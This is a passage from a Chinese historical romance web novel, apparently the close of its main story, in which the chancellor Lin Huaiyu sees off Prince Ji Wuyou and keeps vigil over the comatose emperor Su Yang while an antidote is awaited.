林怀玉沉默了一会儿,道:“现在……我只希望他活着。” 季无忧笑了:“你不想他死?” 林怀玉奇怪地看了季无忧一眼:“我为什么想要他死?我从来没有想过。” 季无忧道:“他囚禁你,让你在京城一个能说话的人都没有,还卸了你的丞相之位,你不恨他?” 说到这里,林怀玉反倒一笑:“我教的好。” 季无忧一愣:“不懂你。” 林怀玉失笑:“行了,明日一早,我送你出宫。” 季无忧乖乖点头:“怀玉,日后你若是得了空,千万记得来大楚找我玩。” 林怀玉应了。 季无忧搂着他倒在了桌子上,林怀玉被季无忧压着动不了。 季无忧看着是个纨绔皇子,身上的肌肉倒是一点没少,整个人的重量压着他,还真让他动不了。 他抿了抿唇,准备喊人,身上忽的一轻。 林怀玉抬眸望去,只见宿泱皱着眉头,满脸嫌弃地将季无忧提了起来,扔到了一边:“德福,把七皇子带下去好好安置。” 德福连忙扶住季无忧:“是。” 林怀玉看着宿泱,问:“你怎么起来了?” 宿泱冷哼一声:“季无忧倒是心思机敏,趁我不在就和老师勾勾搭搭的,占你便宜。” 林怀玉笑了起来:“说什么呢?他喝醉了。” 宿泱的目光落在林怀玉的脸上,那张白皙绝美的面容上也漾着一层粉意。 他不禁道:“老师,你也喝醉了。” 林怀玉不是个喜欢逞强的人,便应声道:“是啊,我也有点醉了,回去吧。” 宿泱便扶着林怀玉,步入御花园。 “你刚醒过来吗?”林怀玉看着宿泱,问。 宿泱点头,替林怀玉拢了拢身上的外披,夜里有些许凉意,虽然不似冬日寒冷,但也吹得人生寒。 “老师是在失望吗?” 林怀玉有些不解:“失望什么?” 宿泱道:“失望……我竟然醒了,打扰你和季无忧。” 林怀玉不禁推了了宿泱一把,将人推远了:“又胡说什么?” 宿泱又很快靠近林怀玉,道:“德福把所有的都告诉我了,我如今是大雍天子,是老师一手将我托到这个位置,老师,我知道我对你不只是师徒之情,也知道我心底想要占有老师,所以我不愿看到老师同旁人那样亲密。” 林怀玉沉默了好一会儿,才道:“我知道。” 宿泱不知道林怀玉的这句“我知道”究竟是接受他的感情还是不接受,林怀玉不说,他也不强求,只扶着人一路回沁春宫。 宿泱将林怀玉扶上了床榻,替对方盖好了被子,转身便准备离开。 林怀玉开口:“我有点渴。” 宿泱便没出门,转身走到了桌边,给林怀玉倒了杯水,他将林怀玉从床上扶起来,让林怀玉靠在自己怀里,给对方小口喂着水。 这样的林怀玉,看着很乖。 以前总觉得,用“乖”这个字来形容林怀玉很奇怪,毕竟林怀玉和“乖”实在放不到一块儿去。 可喝醉了的林怀玉,还有睡着的林怀玉,都和“乖”毫无违和。 而这样的林怀玉让宿泱有一种被对方依赖的感觉。 或许林怀玉并不需要,但宿泱的心底却觉得被什么东西填的很满。 他噙着笑望着林怀玉,竟是就着这样的姿势和对方一块儿靠在床上睡了过去。 林怀玉第二日醒来,只觉得自己腰疼,缓缓睁眼看到的却不是房梁,才发觉自己的姿势似乎不对劲。 他转了转头,身后一片柔软,好似有个垫子。 等等,这垫子怎么还带起伏? 林怀玉猛的一惊,坐起了身子,回头一看竟是宿泱。 他这番动静却没有把宿泱吵醒,他无奈轻叹了一声。 宿泱如今睡过去也是昏睡,没有那么容易醒来。 林怀玉只好下了床,将人扶着躺下,自己又喝了杯水。 他回头望了一眼躺着昏睡的宿泱,转身出门。 他还答应了给季无忧送行的,也不知晚了没有。 第69章【正文完】 第69章 第 69 章 正文完 秋风送爽, 清晨的凉意带着露气渗入衣袍之中,渐凉的感觉与风同行。 林怀玉一边走一边系上披风带子,紧赶慢赶到了宫门口, 华贵的马车已然停在那宫门外面,马车旁边还站着那道明媚修长的身影。 季无忧似乎一直在看宫门口有没有人来, 林怀玉一出现, 他便看到了,朝着人挥了挥手, 笑意盈盈:“怀玉!” 林怀玉行至他面前:“抱歉,来晚了。” 季无忧道:“是啊,我等你好久呢, 还以为你不来了。” 林怀玉浅笑, 他听得出来,季无忧并没有生气, 只是在同他玩笑:“来日再见,我再请你吃饭赔罪。” 季无忧笑笑:“我开玩笑的, 不过有你这句话, 我们以后肯定还会再见, 那就太好了, 我知道你一定不会食言的。” 林怀玉无奈:“你不必这样挂心我, 世间总有万难事,但也总有办法填平这万难, 你不信我吗?” 季无忧道:“我自然信你,但于思可不靠谱。” 林怀玉浅笑道:“我用他自身性命做威胁, 他这次自当尽力,如若他没能研制出来解药……” 那说明,是真的解不了。 这句话, 两个人都心知肚明。 季无忧缓和气氛道:“没事!我相信你,不管你做什么决定,做什么事,我都支持你!大不了就给大雍换个皇帝!哈哈哈哈。” 林怀玉的笑意不达眼底:“时辰不早,该走了。” 季无忧点头:“那……下次再见了!” 林怀玉目送季无忧离开,那人坐上了马车也不安分,一个劲地探头出来看,林怀玉倒也没走,站着等季无忧的马车彻底消失在视野,这才转身重新回宫。 秋去冬来,转眼又是雪落了满京都。 茫茫一片的白落在地上,步子轻盈地踩在松软的雪地里,林怀玉披着宽厚的大氅,撑着伞走在宫道上,红墙红伞红衣,明媚鲜艳。 他一路行到沁春宫,院子里有些安静,怕吵到宿泱休息,没安排太多的人,只有德福贴身伺候。 林怀玉推开了房门,德福也正要从里面出来,看到林怀玉来,连忙上前接过对方手里正要收起的伞,道:“林大人来了。” 林怀玉轻轻颔首,问:“陛下醒着吗?” 德福一脸忧色地摇了摇头:“没醒,这都整整一天一夜了,从来没这么久过,这样下去,陛下的身子可吃不消啊。” 林怀玉垂着眼眸,没有说话。 何止是身子吃不消,连命都不知道还能不能撑下去。 林怀玉轻叹了一声,关上门。 也不知道宿泱究竟能不能撑到于思研制出解药。 怕只怕解药是吊着驴的那个饵,根本吃不到。 林怀玉在床榻边坐下,静静望着宿泱,对方安静地躺在那里,一句话也不说,眼睛也没睁开,了无生气的模样刺痛了林怀玉的眼睛。 他还当真没见过宿泱这副模样,宿泱从小到大很少生病,体质好,即便是受了伤,也很快就好了,跟个没事人似的。 从前宿泱说他身子虚,他还调侃过宿泱,体质太好若是一场大病,恐怕直接要了命。 没成想,一语成谶。 林怀玉就这般在床榻边坐了许久,宿泱始终没有醒过来。 月光倾洒进来,那一刻,林怀玉忽然感觉到宿泱可能…… 不会醒来了。 林怀玉的心脏忽然被揪了一下,他从未想过宿泱真的会死,更遑论死在他的面前。 他俯身下去,凑到了宿泱的脖颈间,感受着对方微弱的呼吸,很轻,轻得仿佛下一瞬就会断了。 他心底闷滞,侧着脑袋趴在了宿泱的胸口,墨色长发散在对方的身上,仿佛将那人锁住。 胸膛的起伏也格外微弱,这些生命体征的消失,无一不在告诉他,宿泱坚持不了多久了。 林怀玉轻轻合上眼睛,等到了天明。 清晨的日光代替月光,接转替换,林怀玉又缓缓睁开了眼睛,那双澄澈的眼中多了丝丝缕缕的血丝。 他抬起头望向被他当了一夜枕头的人,仍旧没有醒来的迹象。 林怀玉抿了抿唇,起身去开门:“把周掌院请来。” 德福侯在外头,听到林怀玉的吩咐,连忙去太医院叫人。 周历只道宿泱如今是什么状况,虽说林怀玉下了令,任何人不准说出去宿泱的状况,一旦发现就地斩杀,他虽然不会说出去,可也实打实希望陛下早日醒来。 他迅速赶到沁春宫,见到林怀玉行了礼,连忙给宿泱把脉。 宿泱的身体一日不如一日,如今整整两日没能醒过来,即便用了针也没有将人唤醒,周历的脸色越来越难看。 那微弱的脉搏彰显着身体的主人快要再也醒不过来的事实。 周历最终收了针,转头对上了林怀玉那双如寒霜的眼眸。 对方的神情明明一如往常般淡漠,可不知为何,他好像从林怀玉的眼底看出来悲伤。 周历竟有些不忍开口,可事关天子与大雍,他又不得不开口:“陛下恐怕……” 林怀玉迅速接话,语调却不自觉带上了一抹寒意:“恐怕什么?” 周历连忙跪下道:“恐怕等不到解药了,还请林大人早做打算!” 林怀玉的心随着周历的话沉了底,他久久没有说话,其实也早就预料到这一天了,可真正听到,还是觉得这般不真实。 他的目光遥遥落在床榻上静静躺着的人身上,即便到了这种时候,宿泱也没有任何要醒来的意思。 好似……真的打算就这么长睡不醒了。 “于思呢?有他的消息吗?” 周历摇头:“于先生倒是一直在研制解药,只是尚未有动静。” 林怀玉只好道:“罢了,都出去吧。” 屋子里便没留下人,林怀玉重新走回宿泱的床边,一贯能在生死间找到应对之法的林怀玉好似没了手段,轻声道:“宿泱,你还欠我什么,是不是忘了?” 床上的人自然也不会回答他的话。 林怀玉自顾自道:“明日你若是再不醒过来,我便要去找下一位我要扶持的大雍天子了。” “我会亲自教他君王之道,亲自教他成为一个明君,此后半生都站在他的身边,再也记不起你。” 房间里久久没有声音,林怀玉没再说话,而宿泱也没有醒过来。 天光乍亮,一夜又随明月流逝。 林怀玉走出沁春宫,缓步在宫道上,下一刻,眼前却有落雪缓缓飘下。 林怀玉一愣,步子微停。 今年的雪竟落的这样早。 白雪片片飘落,落在林怀玉的发间,落在他的身上,他就这样走在风雪中,连一把伞也没有。 还没走到御书房,落雪似乎停了,可明明眼前还在飘雪。 他心底一颤,猛地抬头,只见自己上方赫然撑着一把油纸伞。 林怀玉转身回望,是一张熟悉的面容。 “先生,您怎么都不打伞?”方知许站在他面前,皱着眉头问。 林怀玉缓缓呼出一口气,道:“不过是几步路罢了,无需打伞。” 方知许走在林怀玉身侧,与他同行:“那可不行,先生身上的毒虽然解了,可身子还未彻底补回来,如今天冷,若是生病可不好了。” 林怀玉勉强笑了笑:“知道了。” 二人到了御书房,林怀玉带着方知许一块儿进去。 两人在御书房待了许久,谈起国事便忘乎所以,连时间过去很久也忘了。 林怀玉和方知许从御书房出来已入了夜,门外的风雪早已停了,方知许见状,道:“先生,风雪停了。” 林怀玉也道:“是啊,风雪停了。” 方知许拿着伞,向林怀玉告别:“先生,宫门快落锁了,学生先回去了。” 林怀玉点头,目送方知许离开,朝着沁春宫走去。 眼看这一日便要过去了。 真快啊。 林怀玉回了房间,宿泱仍旧躺在床上,不曾挪动过半分,也没有要醒来的意思,那微弱的呼吸似乎就快要断了。 林怀玉看了一会儿,收回了目光,他坐在了不远处的美人榻上,朝着月光的方向,静静望着。 破旧的寺庙里没有烛火,也只有一缕月光伴着年幼的他渡过那个漆黑的夜晚。 夜深时,林怀玉不知何时已在榻上睡了过去,大概是这几日都没有睡,这会儿实在坚持不住了。 左右,宿泱也不可能在他说的这一日醒过来了。 月光之下,似乎有一道身影缓缓靠近着林怀玉,不多时,那垂在美人榻上的单薄身影被盖上了被子,将夜里的寒意驱散。 也将梦里的寒意驱散。